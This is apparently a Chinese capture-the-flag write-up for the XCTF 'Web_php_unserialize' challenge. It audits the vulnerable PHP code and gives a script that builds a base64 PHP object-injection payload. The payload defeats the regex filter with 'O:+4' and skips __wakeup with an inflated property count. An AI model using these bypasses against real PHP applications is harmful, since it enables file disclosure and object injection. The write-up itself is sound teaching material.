zoukankan      html  css  js  c++  java
  • XCTF(Web_php_unserialize)

    拿到题目,是个这,

    我们来一波代码审计

     1 <?php 
     2 class Demo { 
     3     private $file = 'index.php';
     4     public function __construct($file) { 
     5         $this->file = $file;  //构造函数,对类的变量进行初始化
     6     }
     7     function __destruct() { 
     8         echo @highlight_file($this->file, true); 
     9     }
    10 
    11     //魔术方法,如果有反序列化的使用,在反序列化之前会先调用这个方法
    12     function __wakeup() { 
    13         if ($this->file != 'index.php') { 
    14             //the secret is in the fl4g.php
    15             $this->file = 'index.php'; 
    16         } 
    17     } 
    18 }
    19 if (isset($_GET['var'])) { 
    20     $var = base64_decode($_GET['var']); 
    21 
    22     //正则匹配,如果在var变量中存在O/C:数字(O:数字或者C:数字这样的形式}),不区分大小写,就输出stop hacking!否则的话就进行发序列化
    23     if (preg_match('/[oc]:d+:/i', $var)) { 
    24         die('stop hacking!'); 
    25     } else {
    26         @unserialize($var); 
    27     } 
    28 } else { 
    29     highlight_file("index.php"); 
    30 } 
    31 ?>

    审计完成之后,思路就很清晰了,对Demo这个类进行序列化,base64加密之后,赋值给var变量进行get传参就行了 在类Demo中有三个方法,一个构造,一个析构,还有就是一个魔术方法,构造函数__construct()在程序执行开始的时候对变量进行赋初值。析构函数__destruct(),在对象所在函数执行完成之后,会自动调用,这里就会高亮显示出文件。 在反序列化执行之前,会先执行__wakeup这个魔术方法,所以需要绕过,当成员属性数目大于实际数目时可绕过wakeup方法,正则匹配可以用+号来进行绕过。
    写一个序列化的脚本

     1 <?php
     2 class Demo { 
     3     private $file = 'index.php';
     4     public function __construct($file) { 
     5         $this->file = $file; 
     6     }
     7     function __destruct() { 
     8         echo @highlight_file($this->file, true); 
     9     }
    10     function __wakeup() { 
    11         if ($this->file != 'index.php') { 
    12             //the secret is in the fl4g.php
    13             $this->file = 'index.php'; 
    14         } 
    15     } 
    16 }
    17 
    18 $a = new Demo("fl4g.php");
    19 echo(serialize($a))."
    ";
    20 echo base64_encode('O:+4:"Demo":2:{s:10:" Demo file";s:8:"fl4g.php";}')."
    ";
    21 
    22 ?>

    这里有个坑,这里的 file 变量为私有变量,所以序列化之后的字符串开头结 尾各有一个空白字符(即%00),字符串长度也比实际长度大 2,如果将序列化结 果复制到在线的 base64 网站进行编码可能就会丢掉空白字符,所以这里直接在 php 代码里进行编码。类似的还有 protected 类型的变量,序列化之后字符串首部会加上%00*%00

    干脆写个python脚本

    注意在python3中,字符串被b''包围,表示空格

    php中也ok

  • 相关阅读:
    php生成二维码的几种方式
    CVPR 2013
    面试&笔试---c语言之字符串处理
    逆向知识-汇编寻址方式汇总
    tensorflow中的lstm的state
    图文相关性 flickr数据实验结论_1
    LightGBM中GBDT的实现
    Tensorflow 变量的共享
    Tensorflow 变量的共享
    https://github.com/chenghuige/tensorflow-exp/blob/master/examples/sparse-tensor-classification/
  • 原文地址:https://www.cnblogs.com/zzjdbk/p/13022171.html
Copyright © 2011-2022 走看看